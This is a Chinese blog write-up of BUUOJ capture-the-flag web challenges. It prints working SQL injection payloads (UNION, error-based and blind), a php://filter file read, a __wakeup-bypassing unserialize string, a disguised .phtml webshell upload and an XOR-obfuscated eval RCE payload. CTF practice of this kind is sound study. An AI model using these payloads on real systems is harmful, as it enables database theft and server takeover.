前幾天開始了 BUUOJ 的刷題之旅(一方面某些原因菜到有點自閉,一方面 adworld 有點不太穩)本來準備按一波順序寫,但是堆堆跟我說起了這個系列題,於是就去刷了一波,感覺還挺好玩。(不愧是一分的水題)
Easy SQL
SQL Injection
這題一開始給了個登錄的畫面,本來以為是像之前春秋的公益賽一樣,會先登錄然後再在裡面放注入的地方。但是無奈怎麼都登不上去,於是順手嘗試了一下。.../check.php?username=999%27%20union%20select%201%2C2%20%23&password=999
沒想到這隨便試的一手試準了,給了一條白色的回顯(前排吐槽界面設計)The used SELECT statements have a different number of columns
。拿到這波提示以後就很容易地試出了數據庫的列數,最後的 flag 就一下子出來了 (把背景 block 掉的我差點沒看見 flag ,還好看了一手網頁源代碼)紅黑白的三色搭配起來真的不好看
PS 我好像寫得太複雜了,其實只要登錄上就行。所以應該可以用 ' or 1=1 #
啥的直接拿到 flag。
1 | flag{c39d07f5-6b36-4255-b98b-9a66c7144c05} |
Havefun
POST & GET Trick
這題給了個很萌的網頁,觀察了一會兒網頁上的貓之後,沒思路的我看了一手網頁源代碼。發現了這樣一段代碼被註釋掉了。
1 | $cat = $_GET['cat']; |
所以順勢給了網頁一個參數 cat=dog
之後,flag 就出現在了網頁上。
1 | flag{a84da6ed-7606-45b4-b97e-12e6d57e8819} |
Secret File
302PHP 偽協議
一開始看到題目還以為是文件上傳啥的,點進去是個紅配黑的界面。查看一手源碼之後可以跳轉兩次,但是第二次跳轉的時候直接提示“查閱完畢”。反覆兩次之後發現鏈接被跳轉了,於是猜測中間的 action.php
有點東西。於是上了一手 Python,帶上 allow_redirects=False
的參數跑了一波 request,然後成功拿到了夾在跳轉中間的 secr3t.php
。很騷的是這個頁面打開是一段 PHP 代碼。(?代碼審計)一開始我沒管,直接照著提示去了flag.php
,然後沒有成功拿到 flag。
推測要從 secr3t.php
這裡想辦法直接輸出 PHP 文件。正好之前看過的視頻裡面講到過 filter
和 php://
。於是回去仔細看了一手那段 PHP 代碼。
1 | <?php |
然後照著之前的葫蘆畫了個這樣的瓢 .../secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
然後成功拿到了一長串 base64 編碼。
1 | PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZjNhOTMxZDAtODU3OS00NGJiLThiODctMjYxODRiYWZmYzlkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= |
解碼之後是這樣的
1 | <!DOCTYPE html> |
成功拿到 flag
1 | flag{f3a931d0-8579-44bb-8b87-26184baffc9d} |
LoveSQL
SQL Injection
一如既往熟悉的界面,隨手輸了個 admin' #
就登進去了,但是除了一行字啥也沒有 Your password is 'fbc72bd807fe8419b27393707199b18e'
。於是退回去試了一波常規操作,構造一個這樣的 payload .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(table_name)%2C3%20from%20information_schema.tables%20where%20table_schema=database()%20%23&password=123
成功爆出了表。
1 | Hello geekuser,l0ve1ysq1! |
於是繼續常規操作,.../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(column_name)%2C3%20from%20information_schema.columns%20where%20table_schema=database()%20%23&password=123
成功爆出列。
1 | Hello id,username,password,id,username,password! |
到這裡我懵了一會兒,他沒有 flag 啥的列,我還以為找錯地方了。後來試了試 password 發現我想多了。用 .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(password)%2C3%20from%20l0ve1ysq1%20%23&password=123
成功拿到 flag。
1 | flag{e3d9d46f-a313-45bf-86b8-31b46fa246ce} |
Http
Headers
這題的網頁設計終於好看寫了OwO 上來沒看到啥,所以就看了一手源碼,找到了 Secret.php
。直接訪問一波,然後跟著各種提示,添加如下 header。
1 | X-Forwarded-For: localhost |
訪問之後成功拿到 flag。
1 | flag{39ca0d2c-d886-456e-ad91-98f1bf1fe95c} |
BabySQL
SQL Injection
依舊是熟悉的配方,上手拿著上次的 payload 試了一手,發現報錯了,然後換了個簡單的 .../check.php?username=nullnull%27%20or%201=1%20%23&password=123
依舊報錯了。仔細看看報錯,發現我語句裡的 or
沒了。查了一波資料,得知可以雙寫關鍵字來繞過過濾。於是試了一手 .../check.php?username=nullnull%27%20oorr%201=1%20%23&password=123
發現登錄成功了。於是照著前面的 payload 雙寫關鍵字。
1 | .../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(table_name)%2C3%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=database()%20%23&password=123 |
最後用 .../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(passwoorrd)%2C3%20frfromom%20b4bsql%20%23&password=123
成功拿到 flag。
1 | flag{e53f0586-f83e-4183-8dba-c12dc4a84383} |
HardSQL
SQL Injection
這題用老套路上去就被懟“臭弟弟”了,試了一手,發現大部分關鍵字好像還在,但是空格啥的符號都沒了, union
這個關鍵字也沒了。於是就想著走報錯注入的思路了。
一開始瘋狂報錯(沒用的那種),然後去補了一波報錯注入的知識點。然後整了個簡單的試了試 .../check.php?username=admin%27or(updatexml(1,concat(user(),0x7e,version()),1))%23&password=123
然後發現有了回顯 XPATH syntax error: '@localhost~10.3.18-MariaDB'
。於是照著整了個爆表的 payload .../check.php?username=
成功拿到表
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123H4rDsq1
。
依照套路,用 .../check.php?username=
成功拿到列
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123id,username,password
。
最後,用 .../check.php?username=
拿到了半個 flag
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123flag{128c8f16-6d62-4b41-b632-ba
(搞人心態成功)
再次查了一波,用個 right()
拿到了另一半, .../check.php?username=
。最後拼接起來,成功拿到 flag。
admin%27or(updatexml(1,concat(0x7e,(select(right(group_concat(password),20))from(H4rDsq1)),0x7e),1))%23&password=123
1 | flag{128c8f16-6d62-4b41-b632-ba18b718684a} |
BuyFlag
CookiePOST & GET Trick
這題上來給了個很像 Http 那題的網頁,於是就看了一手源碼,成功找到入口 pay.php
。進去之後依舊沒什麼頭緒——完全沒有可以輸入的地方。倒是網頁本身給了不少提示,於是看了一手源碼,發現了一段註釋。
1 | <!-- |
於是構造了一個參數 password=404%250
,POST 過去之後好像沒啥反應。其實是它的 Cookie 裡還有點東西,把 Cookie 的 user:0
改成 user:1
之後出現了新的提示。
1 | you are Cuiter |
於是接著構造 POST 的參數 money=1000000000
,結果得到了數字過長的提示 Nember lenth is too long
。到這個地方我突然有點迷了,於是去問了堆堆,結果他說他猜出來這是 strcmp 的漏洞(我真的猜不出),於是構造一波參數 money[]=1
。這個地方用科學計數法也可以構造,寫作 money=1e9
,這樣解釋更加好一些。(via 堆堆)
最後用 password=404%250&money[]=1
的參數成功拿到 flag。
1 | flag{40e309cf-6975-439d-912d-0c66009cd05e} |
PHP
Source LeakUnserialize
打開之後看到了一隻貓貓,可以用鼠標操控毛線球逗它玩,頁面上方還有“備份”的提示。於是咱用 wwwscan 掃描了一下,順利下載到了 .../www.zip
。看了一下文件,發現以下主要代碼。
1 | //index.php |
1 | //class.php |
很明顯這裡考了一個反序列化的操作,我把他的代碼稍作修改,看了一下序列化的結果。
1 | echo serialize(new Name('admin',100)); |
輸出的結果是 O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
。因為還要繞過 __wakeup()
,所以要把上述輸出的 2 改成 3 或者一個更大的數。然後因為 username 和 password 都是私有成員,所以把類名和成員名前面以空格輸出的 null 字符換成 \0。
最後將請求 url 拼接起來 .../?select=O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
。使用 Python 的 Requests 庫訪問,成功拿到 flag。(我也不知道為什麼直接 HackBar 訪問不顯示 flag)
1 | flag{14414a53-1fe9-4623-a67b-07b581d4bbcb} |
Knife
這題很明顯地提示了使用一波菜刀,於是果斷用菜刀連上去。一開始用菜刀的文件管理找了很久,並沒有找到 flag。於是就打開了一波虛擬終端,整了一波 find / -name flag
。在一堆 Permission Denied 刷過之後找到了 /flag
。然後執行一波 cat /flag
就成功地拿到了 flag。
1 | flag{3d1c3437-1ea2-45ea-9660-5d304e2b43c5} |
Upload
Upload
打開之後是個樸素的上傳界面,首先隨便寫了句 phpinfo
偽裝成 png 傳上去,結果提示不能含有字符 <?
,於是果斷換了一種只有 php 5.x 可以執行的格式(事實證明還是管的),但是依舊被識別了。一番查找之後在文件頭部加上了 GIF89a?
成功過掉這一個點。結果在改拓展名的時候又失敗了,提示不能用 .php
拓展名。搜索了一波發現可以用 .phtml
這個後綴。於是一番修改之後,“圖片”傳了上去,一句話木馬得以執行。
1 | GIF89a? |
用菜刀連上之後,進虛擬終端裡直接 cat /flag
就能得到 flag。
1 | flag{14129955-5097-4e0d-91ff-b200f9a11b5d} |
RCE ME
RCEAntSword
題目一開始就給了段很頂的代碼,直接把字母數字都過濾了。
1 | <?php |
一番查找之下找到了神奇操作,通過其他字符的異或得到字母和數字來構造指令。原理參考 於是我當即用可以使用的各種字符相互異或打了個表,然後篩選出了可構成字母和數字的組合。然後照著構造了 code=$_=%27`{{{%27^%27?%3C%3E/%27;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%22l%22])
這個 payload,成功連上。但是因為過濾了太多東西,導致終端命令幾乎沒法執行。
在一番查詢之後找到了蟻劍,輾轉在 Kali Linux 裝上之後用上了 bypass disable 的插件,然後成功執行了 readflag
讀取到了flag。
1 | flag{b4c4e9fb-ea8c-4351-98e1-b1e8e5794411} |
FinalSQL
SQL Injection
這題其實需要一點仔細的觀察,跟之前開門見山的注入點有點不一樣,給出的賬號和密碼的框並不是注入的地方。點完五個按鈕可以拿到“第六個按鈕”的暗示,於是看了一手源碼,發現有一行代碼被註釋掉了,取消註釋發現了一個框,請求是 ../search.php?id=
,也就是那幾個按鈕的 ID。所有的結果都出現過了,其實一開始我是沒有思路的,後來被提醒了這波是盲注,於是就構造了個 (ascii(substr((select(database())),1,1))>1)^0
試了一手,發現大於和小於的結果的確不一樣(分別會對應 id=1
和 id=0
的結果),於是拿出之前寫好的二分模板,略作修改跑了起來。
1 | #爆表 |
其實這題還是有點心機的,flag 放在了很長的 password 裡面(總共200+字符,如果不用二分得跑很久)。
1 | flag{43d07021-39af-481a-a873-3f9e1d0a29c0} |